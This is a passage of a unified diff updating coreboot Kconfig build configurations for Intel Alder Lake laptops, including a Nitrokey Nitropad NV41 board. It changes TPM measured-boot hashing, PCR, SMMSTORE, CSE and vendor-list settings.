CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" @@ -266,8 +280,7 @@ CONFIG_DATA_BUS_WIDTH=128 CONFIG_DIMMS_PER_CHANNEL=2 CONFIG_MRC_CHANNEL_WIDTH=16 CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y -CONFIG_USE_FSP_MP_INIT=y -# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y CONFIG_SI_DESC_REGION="SI_DESC" CONFIG_SI_DESC_REGION_SZ=4096 # CONFIG_BUILDING_WITH_DEBUG_FSP is not set @@ -275,14 +288,20 @@ CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set +CONFIG_HSPHY_FW_MAX_SIZE=0x8000 CONFIG_MAX_HECI_DEVICES=6 CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_PCIEXP_ASPM=y +CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_UART_PCI_ADDR=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_INTEL_TME=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_SOC_INTEL_COMMON=y @@ -298,10 +317,14 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y +CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y CONFIG_INTEL_CAR_NEM_ENHANCED=y @@ -310,13 +333,14 @@ CONFIG_COS_MAPPED_TO_MSB=y CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y CONFIG_CPU_SUPPORTS_INTEL_TME=y -CONFIG_INTEL_TME=y +# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y CONFIG_HAVE_HYPERTHREADING=y CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y -CONFIG_SOC_INTEL_CSE_HAVE_HAP=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" @@ -330,6 +354,9 @@ CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y +CONFIG_ME_SPEC=16 CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y @@ -354,6 +381,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y +# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y @@ -367,7 +396,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y @@ -376,8 +404,10 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y # CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set +# CONFIG_ENABLE_TCSS_USB_DETECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -387,6 +417,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y @@ -398,12 +430,14 @@ CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y # # Intel SoC Common coreboot stages and non-IP blocks # CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y CONFIG_SOC_INTEL_COMMON_RESET=y CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y CONFIG_PAVP=y @@ -415,14 +449,13 @@ CONFIG_SOC_INTEL_CRASHLOG=y # # CPU # -CONFIG_SSE2=y CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y CONFIG_CPU_INTEL_COMMON=y CONFIG_ENABLE_VMX=y CONFIG_SET_IA32_FC_LOCK_BIT=y CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y CONFIG_PARALLEL_MP=y CONFIG_PARALLEL_MP_AP_WORK=y CONFIG_XAPIC_ONLY=y @@ -431,13 +464,14 @@ CONFIG_XAPIC_ONLY=y # CONFIG_X2APIC_LATE_WORKAROUND is not set CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_LOGICAL_CPUS=y +CONFIG_X86_CLFLUSH_CAR=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y -CONFIG_SMM_STUB_STACK_SIZE=0x400 -CONFIG_CPU_INFO_V2=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y CONFIG_SSE=y +CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y @@ -468,9 +502,8 @@ CONFIG_RCBA_LENGTH=0x4000 # # Embedded Controllers # +CONFIG_EC_ACPI=y CONFIG_EC_SYSTEM76_EC=y -CONFIG_EC_SYSTEM76_EC_COLOR_KEYBOARD=y -CONFIG_EC_SYSTEM76_EC_ACPI_DEVICE_HID="17761776" # # Intel Firmware @@ -481,12 +514,13 @@ CONFIG_HAVE_ME_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" CONFIG_UDK_BASE=y CONFIG_UDK_202005_BINDING=y CONFIG_UDK_2013_VERSION=2013 CONFIG_UDK_2017_VERSION=2017 CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202111_VERSION=202111 +CONFIG_UDK_202302_VERSION=202302 CONFIG_UDK_VERSION=202005 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y @@ -496,7 +530,6 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_X86_CUSTOM_BOOTMEDIA=y -CONFIG_NUM_IPI_STARTS=2 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -509,6 +542,7 @@ CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -519,6 +553,7 @@ CONFIG_HAVE_FSP_GOP=y # CONFIG_VGA_ROM_RUN is not set CONFIG_RUN_FSP_GOP=y # CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y # # Display @@ -531,7 +566,6 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_AZALIA_PLUGIN_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y @@ -540,8 +574,11 @@ CONFIG_PCI_ALLOW_BUS_MASTER=y CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -549,7 +586,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATOR_V4=y +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # end of Devices # @@ -561,10 +598,12 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SMMSTORE=y +# CONFIG_SMMSTORE_V2 is not set +CONFIG_SMMSTORE_SIZE=0x40000 CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -575,6 +614,7 @@ CONFIG_DRIVERS_UART_8250MEM_32=y # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set @@ -608,6 +648,7 @@ CONFIG_FSPS_USE_MULTI_PHASE_INIT=y CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y CONFIG_INTEL_GMA_ACPI=y CONFIG_INTEL_GMA_OPREGION_2_1=y CONFIG_DRIVERS_INTEL_PMC=y @@ -615,6 +656,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set @@ -650,8 +692,17 @@ CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM2=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set -CONFIG_TPM_MEASURED_BOOT=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -661,6 +712,7 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set # end of Memory initialization +CONFIG_INTEL_TXT_LIB=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set @@ -673,6 +725,8 @@ CONFIG_BOOTMEDIA_LOCK_NONE=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_ACPI_LPIT=y CONFIG_BOOT_DEVICE_SPI_FLASH=y @@ -692,6 +746,7 @@ CONFIG_FIXED_UART_FOR_CONSOLE=y CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set # CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_CONSOLE_SYSTEM76_EC is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y @@ -709,6 +764,7 @@ CONFIG_CONSOLE_USE_ANSI_ESCAPES=y CONFIG_HWBASE_DEBUG_CB=y # end of Console +CONFIG_ACPI_S1_NOT_SUPPORTED=y CONFIG_HAVE_ACPI_RESUME=y CONFIG_RESUME_PATH_SAME_AS_BOOT=y CONFIG_HAVE_MONOTONIC_TIMER=y @@ -734,13 +790,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -772,6 +827,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set @@ -787,7 +843,6 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set @@ -795,9 +850,11 @@ CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_MAX_REBOOT_CNT=3 CONFIG_RELOCATABLE_MODULES=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 1e819f3a6..5de5c4783 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -14,12 +14,14 @@ CONFIG_COMPILER_GCC=y CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set # CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y # CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -41,6 +43,12 @@ CONFIG_BOOTSPLASH_CONVERT_RESIZE=y CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) # end of General setup # @@ -58,30 +66,28 @@ CONFIG_BOOTSPLASH_CONVERT_RESOLUTION="1920x1080" # CONFIG_VENDOR_APPLE is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BAP is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set # CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_ELMEX is not set # CONFIG_VENDOR_EMULATION is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_LIPPERT is not set # CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_OCP is not set @@ -97,7 +103,6 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -121,16 +126,16 @@ CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set CONFIG_UART_FOR_CONSOLE=0 +CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x56 +CONFIG_VBOOT_VBNV_OFFSET=0x28 CONFIG_VARIANT_DIR="nv40pz" -CONFIG_DEVICETREE="devicetree.cb" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x2000 -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 @@ -141,14 +146,15 @@ CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set CONFIG_TPM_PIRQ=0x0 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfef00000 CONFIG_DCACHE_RAM_SIZE=0xc0000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -156,7 +162,11 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="../nitrokey-blobs/nitropad-nv41/flashdescriptor-HAP.bin" CONFIG_ME_BIN_PATH="../nitrokey-blobs/nitropad-nv41/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_VBT_DATA_SIZE_KB=9 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=42 CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 @@ -176,11 +186,15 @@ CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP=y # CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set # CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x10000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set @@ -201,7 +215,7 @@ CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard @@ -215,8 +229,9 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # # SoC # -CONFIG_ARCH_ALL_STAGES_X86=y CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_FSP_TEMP_RAM_SIZE=0x20000 @@ -229,10 +244,7 @@ CONFIG_ACPI_BERT=y CONFIG_ACPI_BERT_SIZE=0x10000 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 -CONFIG_CPU_SPECIFIC_OPTIONS=y -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02d" +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_SOC_INTEL_ALDERLAKE=y CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y @@ -250,13 +262,15 @@ CONFIG_MAX_PCIE_CLOCK_SRC=10 CONFIG_MAX_PCIE_CLOCK_REQ=10 CONFIG_PCR_BASE_ADDRESS=0xfd000000 CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 